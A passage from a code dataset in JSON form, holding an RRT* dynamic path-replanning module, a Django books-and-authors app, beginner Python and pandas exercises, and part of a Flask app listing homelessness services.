index of the nodes in the tree). The default is 0.\n path_present : boolean, optional\n Indicator whether path is to be printed or not. The default is False.\n\n Returns\n -------\n None.\n\n '''\n # plt the grid space\n # plot the obstacles\n # plot the edges\n fig, ax = plt.subplots(figsize=(6,6))\n ax.axis('square')\n ax.set(xlim=(-10, 10), ylim=(-10, 10))\n rect1 = patches.Rectangle((-0.5, -7), 1, 14, fill=True, facecolor='gray')\n rect2 = patches.Rectangle((-7, -0.5), 14, 1, fill=True, facecolor='gray')\n ax.add_patch(rect1)\n ax.add_patch(rect2)\n \n for i in range(self.nodes_num):\n if self.nodes[i][4]==1:\n parent = int(self.nodes[i][3])\n x = [self.nodes[i][0],self.nodes[parent][0]]\n y = [self.nodes[i][1],self.nodes[parent][1]]\n plt.plot(x,y,color='cyan',linewidth=1,zorder=-1)\n if path_present is True:\n points_x = []\n points_y = []\n for i in path:\n points_x.append(self.nodes[i][0])\n points_y.append(self.nodes[i][1])\n plt.plot(points_x,points_y,color='red',linewidth=2)\n plt.plot(points_x[0],points_y[0],color='blue',zorder=0)\n plt.scatter(self.start[0],self.start[1],s=10**2,color='blue',zorder=1)\n plt.scatter(8,8,s=10**2,color='green',zorder=1)\n plt.show()"
},
{
"alpha_fraction": 0.5424824953079224,
"alphanum_fraction": 0.5513612031936646,
"avg_line_length": 36.54525375366211,
"blob_id": "5815a2427520d14f90e838805f8bbd278b5c4695",
"content_id": "6d362a9f6bc5da374a8ed8b5215e84415ca1fa12",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 17007,
"license_type": "no_license",
"max_line_length": 141,
"num_lines": 453,
"path": "/replan.py",
"repo_name": "Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning",
"src_encoding": "UTF-8",
"text": "import numpy as np\nfrom shapely.geometry import Point, MultiPoint\nfrom queue import Queue\n\n\nclass Replan():\n \n def __init__(self):\n pass\n \n def bfs_removal(self,node_id,rrt,blocked_nodes = False,ignore_id=-1):\n '''\n \n\n Parameters\n ----------\n node_id : int\n DESCRIPTION.\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n blocked_nodes : boolean, optional\n A boolean to which determies whether nodes are obstructed by dynamic\n obstacles. The default is False.\n ignore_id : integer, optional\n The child node (which lies on the path) ignored fpr deletion when \n using the BFS method for pruning the tree. The default is -1.\n\n Returns\n -------\n None.\n\n '''\n q = Queue()\n q.put(node_id)\n while(not q.empty()):\n parent_id = q.get()\n if blocked_nodes:\n rrt.nodes[parent_id,4] = 0\n else:\n rrt.nodes[parent_id, 4] = 2\n child_ids = np.argwhere(np.logical_and(rrt.nodes[:,3]==parent_id, np.logical_or(rrt.nodes[:,4]==1, rrt.nodes[:,4]==0))).flatten()\n # child_ids = np.argwhere(rrt.nodes[:,3]==parent_id).flatten()\n child_ids = child_ids[child_ids!=ignore_id]\n if (child_ids.shape[0]):\n if blocked_nodes:\n rrt.nodes[child_ids,4] = 0\n else:\n rrt.nodes[child_ids, 4] = 2\n for i in range(child_ids.shape[0]):\n q.put(child_ids[i])\n\n def prune_till_pcurr(self,pcurr_id,rrt):\n '''\n Prune the tree till the current node where the robot is present\n\n Parameters\n ----------\n pcurr_id : int\n Index of the current position of the robot according to the index in the tree.\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*..\n\n Returns\n -------\n None.\n\n '''\n # find all the parent_ids till start\n list_id = [pcurr_id]\n\n # Get the current of the\n parent_id = int(rrt.nodes[pcurr_id,3])\n\n old_start_id = int(np.argwhere(rrt.nodes[:,3] == rrt.nodes[:,5])[0])\n\n while(parent_id != old_start_id):\n list_id.append(parent_id)\n parent_id = int(rrt.nodes[parent_id, 3])\n list_id.append(old_start_id)\n\n list_id = list_id[::-1]\n for i in range(len(list_id)-1):\n self.bfs_removal(list_id[i],rrt,False,list_id[i+1])\n\n def modify_tree_and_path(self,rrt,sigma_current=[],sigma_separate=[], blocked_tree_indices = []):\n '''\n Function to modify the path segments and the tree according to the nodes\n to be pruned. \n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n sigma_current : list(int), optional\n The segment of path before the obstacle. The default is [].\n sigma_separate : list(int), optional\n The segment of the path after the obstacle. The default is [].\n blocked_tree_indices : list(int), optional\n The list of nodes in the tree blocked out by the\n new obstacle. The default is [].\n\n Returns\n -------\n None.\n\n '''\n invalid_ids = np.argwhere(rrt.nodes[:,4]==2).flatten()\n for index in blocked_tree_indices:\n self.bfs_removal(index,rrt,True,sigma_separate[0])\n rrt.nodes = np.delete(rrt.nodes,invalid_ids,0)\n rrt.nodes_num-= invalid_ids.shape[0]\n if len(rrt.nodes)==0:\n return\n for i,u_id in enumerate(sigma_current):\n array_id = int(np.argwhere(rrt.nodes[:,5]==u_id)[0])\n sigma_current[i] = array_id\n for i,u_id in enumerate(sigma_separate):\n array_id = int(np.argwhere(rrt.nodes[:,5]==u_id)[0])\n sigma_separate[i] = array_id\n \n #update the parent ids of all children\n for i in range(0,rrt.nodes_num):\n if sigma_separate !=[]:\n if i == sigma_separate[0]:\n rrt.nodes[i,3] = -1\n continue\n parent_uid = rrt.nodes[i,3]\n if(sum(1*rrt.nodes[:,5]==parent_uid)==0):\n rrt.nodes[i, 3] = i\n continue\n parent_aid = int(np.argwhere(rrt.nodes[:,5]==parent_uid)[0])\n rrt.nodes[i,3] = parent_aid\n rrt.nodes[:,5] = np.arange(rrt.nodes.shape[0])\n\n\n def detectObstacle(self, rrt, path, newObstacle):\n '''\n Function to detect whether obstacle is actually bloocking the path or not\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n path : list(int)\n List of indices of the nodes in the tree which form the path traversed\n by the robot.\n newObstacle : Polygon\n The dynamic obstacle in question.\n\n Returns\n -------\n bool\n A boolean which determines whetehr obstacle intersects the path (TRUE)\n or not (FALSE).\n\n '''\n points = []\n points = rrt.nodes[path,0:2]\n points_shapely = MultiPoint(points)\n if points_shapely.intersects(newObstacle):\n return True\n else:\n return False\n \n def removeOccupiedNodes(self, rrt, path, p_current_index, new_obstacle,path_blocked = False):\n '''\n Function to determine all the nodes in the tree occuped by the dynamic/new obstacle\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n path : list(int)\n List of indices of the nodes in the tree which form the path traversed\n by the robot.\n p_current_index : int\n The current node in the tree where the robot is present.\n newObstacle : Polygon\n The dynamic obstacle in question.\n path_blocked : Boolean, optional\n A check condition which determines whether only blocked nodes are returned\n or the split path segments are also returned as well. The default is False.\n\n Returns\n -------\n sigma_current : list(int)\n The part of path before the obstacle.\n sigma_separate : list(int)\n The part of path after the obstacle.\n obstructed_ids : list(int)\n The part of path obstructed by the obstacle.\n indices: list(int)\n List of indices of the tree blocked by the new obstacle.\n\n '''\n if path_blocked is True:\n obstructed_path_nodes = [] # node tree indices\n obstructed_ids = [] # path indices\n for i in range(len(path)-1): # no need to check for the goal position\n point = Point(tuple(rrt.nodes[path[i],0:2]))\n if point.intersects(new_obstacle):\n obstructed_path_nodes.append(path[i])\n obstructed_ids.append(i)\n\n # the separated out list of paths between the new obstacle\n sigma_separate = path[obstructed_ids[-1]+1:]\n sigma_current = path[p_current_index:obstructed_ids[0]]\n\n ## call function to remove all children of each of these nodes\n\n # subsection to collect all nodes of the tree lying inside/on \n # the obstacle (make obstacle slightly larger than like 1.01 instead of 1 to consider cases whenpoint lies on circle)\n indices = []\n\n for i in range(rrt.nodes_num):\n point = Point(rrt.nodes[i,0:2])\n indices.append(new_obstacle.intersects(point))\n indices = np.argwhere(np.asarray(indices))\n indices = indices.reshape(-1) # all indices in tree which lie inside new obstacle\n\n return sigma_current, sigma_separate, obstructed_ids, indices\n else:\n indices = []\n\n for i in range(rrt.nodes_num):\n point = Point(rrt.nodes[i, 0:2])\n indices.append(new_obstacle.intersects(point))\n indices = np.argwhere(np.asarray(indices))\n indices = indices.reshape(-1) # all indices in tree which lie inside new obstacle\n\n return indices\n \n def find_path(self, rrt, node, break_id = -1):\n '''\n Function to find path from the tree after replanning\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n node : int\n The node from whcih the path to the start is to be calculated.\n break_id : int, optional\n A condition when infinity cost is returned as path cannot be found. The default is -1.\n\n Returns\n -------\n path : list(int)\n The list of path values represented by the indices of the nodes in the tree.\n cost : float\n The value of total cost measured in euclidean distance.\n\n '''\n path = [node]\n cost = rrt.nodes[node,2]\n node = int(node)\n while node != rrt.p_current:\n p = int(rrt.nodes[node][3])\n if(p == break_id or p == -1 or rrt.nodes[p,4]==0):\n return [],np.infty\n cost = cost + rrt.nodes[p,2]\n path.append(p)\n node = p\n path.reverse()\n return path,cost\n \n \n def reconnect(self,rrt, sigma_current, sigma_separate):\n '''\n Reconnect function tries to connect the nodes on sigma_separate with \n the nearest node of sigma_current to form the globally lowest cost path\n possible on the new tree structure\n \n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n sigma_current : list(int)\n The part of path before the obstacle.\n sigma_separate : list(int)\n The part of path after the obstacle.\n\n Returns\n -------\n bool\n Boolean to determine whether the reconnect process is successful or not.\n best_path : list(int) (OR) []\n The best new path of the robot. An empty list is returned of reconnect fails.\n\n '''\n radius = 0.75\n for i,separate_node in enumerate(sigma_separate):\n parent_uid = rrt.nodes[i,3]\n distance = np.linalg.norm(rrt.nodes[:,0:2]-rrt.nodes[separate_node,0:2],axis=1)\n potential_parents = np.argwhere((np.logical_and(distance<=radius, rrt.nodes[:,4]==1))).reshape(-1)\n potential_parents = self.modify_near_indices(rrt,potential_parents,sigma_separate[0])\n if len(potential_parents)!=0:\n min_cost = 100000\n best_path = []\n for j,potential_parent in enumerate(potential_parents):\n path,cost = self.find_path(rrt,potential_parent,sigma_separate[0])\n cost = cost + np.linalg.norm(rrt.nodes[potential_parent,0:2]-rrt.nodes[separate_node,0:2])\n if cost<min_cost:\n min_cost = cost\n best_path = path\n rrt.nodes[separate_node,3] = potential_parent\n rrt.nodes[separate_node,2] = np.linalg.norm(rrt.nodes[potential_parent,0:2]-rrt.nodes[separate_node,0:2])\n if(best_path==[]):\n return False, []\n best_path = best_path + sigma_separate[i:]\n return True,best_path\n return False,[]\n \n def nearest_regrow(self, rrt, x, sigma_separate_0):\n '''\n Function which works in tandem with regrow() to determine the nearest node to\n a random point while considering the fact that some nodes are temporarily\n blocked by dynamic obstcales\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n x : numpy\n The position of point.\n sigma_separate_0 : int\n The frst node of sigma_separate.\n\n Returns\n -------\n p : int\n Th nearest node in terms of distance to x_rand.\n\n '''\n # assuming we have already deleted all the nodes bloacked by the obstacle\n \n x_nearest_dist = np.linalg.norm(rrt.nodes[0:rrt.nodes_num,0:2]-x,axis=1) #NOTE: I haven't added the member to the tree yet\n \n x_nearest_ids = np.argsort(x_nearest_dist)\n i = 0\n while True:\n p = x_nearest_ids[i]\n if rrt.nodes[p,4]==0:\n i = i+1\n continue\n output = self.modify_near_indices(rrt,np.array(p).flatten(),sigma_separate_0)\n if len(output)!=0:\n return p\n i = i+1\n if i == rrt.nodes_num:\n return None\n \n def regrow(self, rrt, new_obstacle, sigma_separate_0):\n '''\n Function to perform the regrowth of the tree to generate new possible trajectories\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n new_obstacle : Polygpon\n The obstacle blocking the path.\n sigma_separate_0 : int\n The first node on sigma_separate list.\n\n Returns\n -------\n None.\n\n '''\n while True:\n x = rrt.sample()\n nearest_index = self.nearest_regrow(rrt, x, sigma_separate_0)\n x_new, cost_steer = rrt.steer(x, rrt.nodes[nearest_index][0:2])\n check = rrt.is_in_collision(x_new,rrt.nodes[nearest_index][0:2])\n if check is True:\n continue\n else:\n break\n near_indices = rrt.get_near_list(x_new)\n rrt.connect(x_new, nearest_index, cost_steer,new=True)\n if near_indices.shape[0] != 0:\n near_indices = self.modify_near_indices(rrt, near_indices, sigma_separate_0)\n near_indices = near_indices[np.argwhere(rrt.nodes[near_indices,4]==1).flatten()]\n \n if near_indices.shape[0] != 0:\n best_index, cost = rrt.nearest_from_list(x_new,near_indices,reconnect=False)\n if best_index is not(None):\n cost_steer = rrt.get_dist(x_new,rrt.nodes[best_index][0:2])\n rrt.connect(x_new, best_index,cost_steer,new=False)\n rrt.rewire(x_new,near_indices)\n \n def modify_near_indices(self, rrt, near_indices, sigma_separate_0):\n '''\n Function to update the near_indices output so that nodes from\n sigma_current are not considered (called only in the regrow() function)\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n near_indices : list(int)\n The list of nodes in the vicinity of the sampled point.\n sigma_separate_0 : int\n The first node on the sigma_separate list.\n\n Returns\n -------\n near_indices : list(int)\n Updated list of nearby nodes so that they do not contain sigma_current \n nodes or their relatives\n \n '''\n near_indices_copy = near_indices\n for i in near_indices_copy:\n parent_id = int(rrt.nodes[i,3])\n if parent_id == -1:\n near_indices = near_indices[near_indices!=i]\n continue\n while parent_id!= rrt.p_current:\n if parent_id == sigma_separate_0:\n near_indices = near_indices[near_indices!=i]\n break\n parent_id = int(rrt.nodes[parent_id,3])\n return near_indices\n \n def check_goal(self,rrt):\n '''\n Function to check for goal after replanning\n\n Parameters\n ----------\n rrt : object of RRT()\n Object which stores information of the tree expanded by RRT*.\n\n Returns\n -------\n bool\n Boolean to determine whether a path is found or not.\n TYPE\n The index in thetree which is close to the obstacle and leads to\n the lowest global cost from the robot current position to the goal.\n\n '''\n dist_from_goal = np.linalg.norm(rrt.nodes[0:rrt.nodes_num,0:2]-rrt.goal,axis=1)\n idx = np.argwhere(np.logical_and(dist_from_goal<0.6,rrt.nodes[0:rrt.nodes_num,4]==1)).flatten()\n\n if idx is not(None):\n cost = [rrt.get_cost(i) for i in idx.flatten()]\n min_cost_idx = idx[np.argmin(np.array(cost))]\n return True, min_cost_idx\n else:\n return False, None"
}
] | 5 |
jassami/books_authors_proj | https://github.com/jassami/books_authors_proj | 47ed2d4d844a383a62ef5eccd3f25d2e8f229b7c | 4e4de8159d68112831af2cbf0dd10de78a8ea157 | 9d6fd607f152951fec5377f2cdc7a562799b5cf6 | refs/heads/main | 2023-05-07T19:02:21.704606 | 2021-05-22T17:57:59 | 2021-05-22T17:57:59 | 369,619,630 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6459770202636719,
"alphanum_fraction": 0.6459770202636719,
"avg_line_length": 32.53845977783203,
"blob_id": "a8628342b7e94152127a29537f5083ac698ac55b",
"content_id": "7044676e339f3292ec63288bbff970c801cd2495",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 435,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 13,
"path": "/books_authors_app/urls.py",
"repo_name": "jassami/books_authors_proj",
"src_encoding": "UTF-8",
"text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index),\n path('add_book', views.add_book),\n path('books/<int:book_id>', views.books),\n path('extra_author/<int:book_id>', views.extra_author),\n path('authors', views.authors),\n path('add_author', views.add_author),\n path('authors/<int:author_id>', views.authors_info),\n path('extra_book/<int:author_id>', views.extra_book),\n ]"
},
{
"alpha_fraction": 0.7864077687263489,
"alphanum_fraction": 0.7864077687263489,
"avg_line_length": 154,
"blob_id": "42a2a3d0433205b4777a2a30d46e2f41b8d0ccbc",
"content_id": "a4dabd583f186de8c7bc84a815f23f84c61fdc2e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 309,
"license_type": "no_license",
"max_line_length": 288,
"num_lines": 2,
"path": "/README.md",
"repo_name": "jassami/books_authors_proj",
"src_encoding": "UTF-8",
"text": "# books_authors_proj\nA Django application taht creates books and authors and displays a table of all what's in the database. you can go to a specific book or author, have its info displayed, have a drop down of books/authors that are not associated with it, and have the option to add any of them to the list."
},
{
"alpha_fraction": 0.6601226925849915,
"alphanum_fraction": 0.6601226925849915,
"avg_line_length": 31.600000381469727,
"blob_id": "5a2bc7c4d76b17a388e179129269270921a13f77",
"content_id": "941fd77175e3bc3dfe0e0c1ee449fcd73fff8b9e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1630,
"license_type": "no_license",
"max_line_length": 133,
"num_lines": 50,
"path": "/books_authors_app/views.py",
"repo_name": "jassami/books_authors_proj",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import redirect, render\nfrom .models import *\n\ndef index(request):\n context= {\n 'all_books': Book.objects.all()\n }\n return render(request, 'index.html', context)\n\ndef add_book(request):\n if request.method == \"POST\":\n Book.objects.create(title= request.POST['title'], desc= request.POST['desc'])\n return redirect('/')\n\ndef books(request, book_id):\n context={\n 'book': Book.objects.get(id= book_id),\n 'other_authors': Author.objects.exclude(books__id= book_id)\n }\n return render(request, 'book.html', context)\n \ndef extra_author(request, book_id):\n this_book= Book.objects.get(id = book_id)\n author= Author.objects.get(id= request.POST['other_author'])\n this_book.authors.add(author)\n return redirect(f'/books/{book_id}')\n\ndef authors(request):\n context= {\n 'all_authors': Author.objects.all()\n }\n return render(request, 'authors.html', context)\n\ndef add_author(request):\n Author.objects.create(first_name= request.POST['first_name'], last_name= request.POST['last_name'], notes= request.POST['notes'])\n return redirect('/authors')\n\ndef authors_info(request, author_id):\n this_author= Author.objects.get(id= author_id)\n context= {\n 'author': this_author,\n 'all_books': Book.objects.exclude(authors__id= author_id)\n }\n return render(request, 'author_info.html', context)\n\ndef extra_book(request, author_id):\n this_author= Author.objects.get(id= author_id)\n book= Book.objects.get(id = request.POST['other_book'])\n this_author.books.add(book)\n return redirect(f\"/authors/{author_id}\")\n"
}
] | 3 |
kabyashree/python-course | https://github.com/kabyashree/python-course | c657781f6bcd2109610911ac44cbe8e0c32e7ed0 | 6a2138532ab1fee28995c9aeb3f1e390b2e2a4b5 | e0c40d624ad8622e6843045cc81495c6bb5f022f | refs/heads/main | 2023-06-27T22:26:25.515143 | 2021-07-12T15:18:46 | 2021-07-12T15:18:46 | 383,485,670 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5947955250740051,
"alphanum_fraction": 0.6356877088546753,
"avg_line_length": 32.65625,
"blob_id": "89b1e6cb6d099cf2765c535911ee50ca689712f3",
"content_id": "4b72fe92a7be5c00d07d1744d62f4c5a26ccfbb2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1076,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 32,
"path": "/3 inputs.py",
"repo_name": "kabyashree/python-course",
"src_encoding": "UTF-8",
"text": "#User input 3 numbers. Find the largest number, smallest number. Print the sum, average, squares of the numbers\n#User input 2 numbers. Options - add, multiply, divide, subtract using options as user input.\n\nnumber1 = int(input('Enter First number : '))\nnumber2 = int(input('Enter Second number : '))\nnumber3 = int(input('Enter third number : '))\n\ndef largest(num1, num2, num3):\n if (num1 > num2) and (num2 > num3):\n largest_num = num1\n elif (num2 > num1) and (num2 > num3):\n largest_num = num2\n else:\n largest_num = num3\n print(\"The largest of the 3 numbers is : \", largest_num)\n return\n\ndef smallest(num1, num2, num3):\n if (num1 < num2) and (num1 < num3):\n smallest_num = num1\n elif (num2 < num1) and (num2 < num3):\n smallest_num = num2\n else:\n smallest_num = num3\n print(\"The smallest of the 3 numbers is : \", smallest_num)\n return\n\nlargest(number1, number2, number3)\nsmallest(number1, number2, number3)\n\n#user_input = \"Enter 1 to add, 2 to multiply.....\")\n#if user_input == \"1\": print add....."
},
{
"alpha_fraction": 0.5966101884841919,
"alphanum_fraction": 0.6616949439048767,
"avg_line_length": 16.963415145874023,
"blob_id": "2bed9f22e92bff9df2c7d69702026e8ebe6e4f09",
"content_id": "3f7667694b35fcc60ef57eeada25f934bf0c5a29",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1475,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 82,
"path": "/script.py",
"repo_name": "kabyashree/python-course",
"src_encoding": "UTF-8",
"text": "#var = 5\n#var1 = \"hello\"\n'''\nprint(var)\nprint(var1)\ntype(var) #get the data type\nprint(str(var) + var1)\n'''\n\n#var = input(\"enter a number\")\n#print(var)\n\n### File handling\nimport pandas as pd\n\ndf = pd.read_csv('dataset/car data.csv')\n\ndf.head(10) #return the first 10 rows\ndf.tail(5) #return the last 5 rows\ndf.columns #get all the columns of the csv file\ndf.shape # prints (number of rows and columns)\nnum_rows = df.shape[0]\nnum_cols = df.shape[1]\n\ndf.iloc[0] #get all the values of row 0\ndf.iloc[1] #get all the values of row 1\ndf[df.columns[0]] #get all the values of column 0\ndf[df.columns[1]] #get all the values of column 1\n\n#Find missing values\npd.isnull(df) #Find missing values one by one\npd.isnull(df).sum() #find missing values for each column\npd.isnull(df).sum().sum() #Find total sum of all missing values in entire dataset\n\nif pd.isnull(df).sum().sum() ==0:\n print(\"Dataset has no missing values\")\nelse:\n print(\"missing values found\")\n df = df.dropna() #remove rows with missing values\n\ndf = df.dropna(subset=['Car_Name','Year']) #remove rows with missing values in only these two columns\n\ndf.Car_Name.count()\n\nabc = []\nabc.append(23)\nabc.append(45)\n\n\nx1 = pd.DataFrame(df)\n'''\nabc\n[23, 45]\nabc[0]\n23\nabc[1]\n45\nlen(abc)\n2\nabc.append(66)\nabc\n[23, 45, 66]\nabc.append([44])\nabc\n[23, 45, 66, [44]]\nabc.append([33,44,33])\nabc\n[23, 45, 66, [44], [33, 44, 33]]\nlen(abc)\n5\nabc[4]\n[33, 44, 33]\nabc[0]\n23\nabc[1]\n45\nabc[2]\n66\nabc[3]\n[44]\nabc[5]\n'''\n\n\n"
},
{
"alpha_fraction": 0.7126823663711548,
"alphanum_fraction": 0.7362514138221741,
"avg_line_length": 41.47618865966797,
"blob_id": "ea8b4a20a824c11ae789d683f65432e3e45f0621",
"content_id": "aae087c637e1e60a9f94d179ee387976625833a2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 891,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 21,
"path": "/date_diff.py",
"repo_name": "kabyashree/python-course",
"src_encoding": "UTF-8",
"text": "import datetime\n\n#User input 2 dates, find their difference\n\nuser_input1_year = input(\"Enter the year of the first variable\")\nuser_input1_month = input(\"Enter the month of the first variable\")\nuser_input1_date = input(\"Enter the date of the first variable\")\n\nuser_input2_year = input(\"Enter the year of the second variable\")\nuser_input2_month = input(\"Enter the month of the second variable\")\nuser_input2_date = input(\"Enter the date of the second variable\")\n\ndate1 = datetime.date(int(user_input1_year),int(user_input1_month),int(user_input1_date))\ndate2 = datetime.date(int(user_input2_year),int(user_input2_month),int(user_input2_date))\n\ndate_diff = date2-date1\n\nprint(\"Difference between date1: \" + str(date1) + \" and date2: \" + str(date2) + \" is \" + str(date_diff.days))\n\n#User input birthday - find age. Today's date = datetime.date.today()\n#User input date. Find if it is a leap year."
},
{
"alpha_fraction": 0.6787148714065552,
"alphanum_fraction": 0.6827309131622314,
"avg_line_length": 34.42856979370117,
"blob_id": "928fc972b8db5ba7dbcda56b851ebc0add975535",
"content_id": "bc240df31bad9805920c0b19908222df5f2e6577",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 249,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 7,
"path": "/reverse_name.py",
"repo_name": "kabyashree/python-course",
"src_encoding": "UTF-8",
"text": "#User Input name, Reverse string, print out result\n\nuser_input = input(\"Enter a name\")\nreverse_name = user_input [::-1] #Starting point, ending point, step\nprint(\"Reversed Name of \" + user_input + \" is \" + reverse_name)\n\n#str.lower() , str.upper()\n\n"
}
] | 4 |
iAndrewChan/eatsleepsit_app | https://github.com/iAndrewChan/eatsleepsit_app | eb2e0bc4fe7865f5e5d4f9ed314877c070249d82 | f1e223304b9625bb6fe33d8c058d96635bd50138 | 8ec97d822e0d32d1feb3fb205c6aa7618e2e2683 | refs/heads/master | 2020-04-08T02:40:43.247185 | 2018-11-25T15:12:52 | 2018-11-25T15:12:52 | 158,944,444 | 0 | 0 | null | 2018-11-24T14:32:56 | 2018-11-25T15:13:24 | 2018-11-26T07:03:10 | HTML | [
{
"alpha_fraction": 0.7843137383460999,
"alphanum_fraction": 0.7843137383460999,
"avg_line_length": 16,
"blob_id": "8052dfdbcbca3413eec89270438415b2fbd01670",
"content_id": "0b6f511bc2f08dcc00706e6ca48aab3e9555eab2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 51,
"license_type": "no_license",
"max_line_length": 31,
"num_lines": 3,
"path": "/README.md",
"repo_name": "iAndrewChan/eatsleepsit_app",
"src_encoding": "UTF-8",
"text": "# eatsitsleep_app\n\npip install -r requirements.txt\n"
},
{
"alpha_fraction": 0.5800103545188904,
"alphanum_fraction": 0.5955463647842407,
"avg_line_length": 32.859649658203125,
"blob_id": "7714bf8e3f353ff9ff24be4bb5f4c46a65b806fd",
"content_id": "8b65f0134c162a3a409030a9c90f9265daf621c5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1931,
"license_type": "no_license",
"max_line_length": 160,
"num_lines": 57,
"path": "/App/models.py",
"repo_name": "iAndrewChan/eatsleepsit_app",
"src_encoding": "UTF-8",
"text": "from sqlalchemy import Column, Integer, Float, String\n# from database import Base\nimport json\n\n# class Organisation(Base):\n# __tablename__ = 'organisation'\n# id = Column(Integer, primary_key=True)\n# organisation = Column(String(50), unique=True)\n# address = Column(String(500), unique=True)\n# website = Column(String(120), unique=True)\n# about = Column(String(1000), unique=True)\n# email = Column(String(120), unique=True)\n# twitter = Column(String(120), unique=True)\n# phone_number = Column(String(120), unique=True)\n# latitude = Column(Float, unique=True)\n# longitude = Column(Float, unique=True)\n\n# def __init__(self, organisation=None, address=None, website=None, about=None, email=None, twitter=None, phone_number=None, latitude=None, longitude=None):\n# self.organisation = organisation\n# self.address = address\n# self.website = website\n# self.about = about\n# self.email = email\n# self.twitter = twitter\n# self.phone_number = phone_number\n# self.latitude = latitude\n# self.longitude = longitude\n\n # def __repr__(self):\n # return '<Organisation %r>' % (self.name)\n\n\nclass Service:\n def __init__(self, query):\n self.organisation = query[1]\n self.address = query[2]\n self.website = query[3]\n self.about = query[4]\n self.email = query[5]\n self.twitter = query[6]\n self.phone_number = query[7]\n self.lat = query[8]\n self.long = query[9]\n\n\n def query_as_json(self):\n d = {}\n d['organisation'] = self.organisation\n d['address'] = self.address\n d['website'] = self.website\n d['about'] = self.about\n d['email'] = self.email\n d['twitter'] = self.twitter\n d['phone_number'] = self.phone_number\n d['lat'] = self.lat\n d['long'] = self.long\n return json.dumps(d)\n\n"
},
{
"alpha_fraction": 0.6658860445022583,
"alphanum_fraction": 0.6666666865348816,
"avg_line_length": 20.350000381469727,
"blob_id": "82672f01ca85f0b9035d6140dcd92db461b178cc",
"content_id": "1b06b818cc469fab7b82a1e15ebcb3046a362481",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1281,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 60,
"path": "/App/app.py",
"repo_name": "iAndrewChan/eatsleepsit_app",
"src_encoding": "UTF-8",
"text": "from flask import Flask\nfrom flask import g\nimport sqlite3\n# from database import db_session\n# from database import init_db\n# from models import Organisation\n\n# from read_csv import init_inmem_db\n# from read_csv import db_get_row\n\nfrom flask import render_template\n\napp = Flask(__name__)\n\[email protected](\"/\")\[email protected](\"/<organisation_name>\")\ndef index(organisation_name='The Salvation Army Logos House'):\n # db_session()\n # init_db()\n # print(Organisation.query.all())\n # print(Organisation.query.filter(Organisation.name == 'admin').first())\n\n # init_inmem_db()\n # table_row = db_get_row(organisation_name)\n # print(table_row)\n\n\n return render_template('Homepage.html')\n\[email protected](\"/contacts\")\ndef contacts_page():\n return render_template('ContactPage.html')\n\[email protected](\"/help\")\ndef help_page():\n return \"help World!\"\n\[email protected](\"/eat\")\ndef eat_page():\n return render_template('EatPage.html') \n\[email protected](\"/sleep\")\ndef sleep_page():\n return render_template('SleepPage.html') \n\[email protected](\"/sitting\")\ndef sit_page():\n return render_template('SitPage.html') \n\n\n\n########\n# Database\n\n# @app.teardown_appcontext\n# def close_connection(exception):\n# db = getattr(g, '_database', None)\n# if db is not None:\n# db.close()\n########\n"
},
{
"alpha_fraction": 0.6939058303833008,
"alphanum_fraction": 0.6939058303833008,
"avg_line_length": 29.125,
"blob_id": "6f55318b7b21b1229653c4a66cceca2ffca31a77",
"content_id": "f96a03ef729b041e13f1f01164c1e8b068224c11",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 722,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 24,
"path": "/App/read_csv.py",
"repo_name": "iAndrewChan/eatsleepsit_app",
"src_encoding": "UTF-8",
"text": "import csv\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\nfrom models import Service\n\nengine = create_engine('sqlite://', echo=False)\n\ndef write_csv_to_sql():\n organisation = pd.read_csv('../service.csv').dropna()\n print(organisation.shape)\n organisation.to_sql(\"organisation\", con=engine, if_exists='replace', index_label='id')\n\ndef db_get_row(organisation_name):\n search_string = \"SELECT * FROM organisation WHERE organisation = \\'{}\\'\".format(organisation_name)\n sql_result = engine.execute(search_string).fetchone()\n service = Service(sql_result)\n return service.query_as_json()\n\ndef init_inmem_db():\n write_csv_to_sql()\n\nif __name__ == \"__main__\":\n db_get_row('The Julian Trust')"
},
{
"alpha_fraction": 0.45847177505493164,
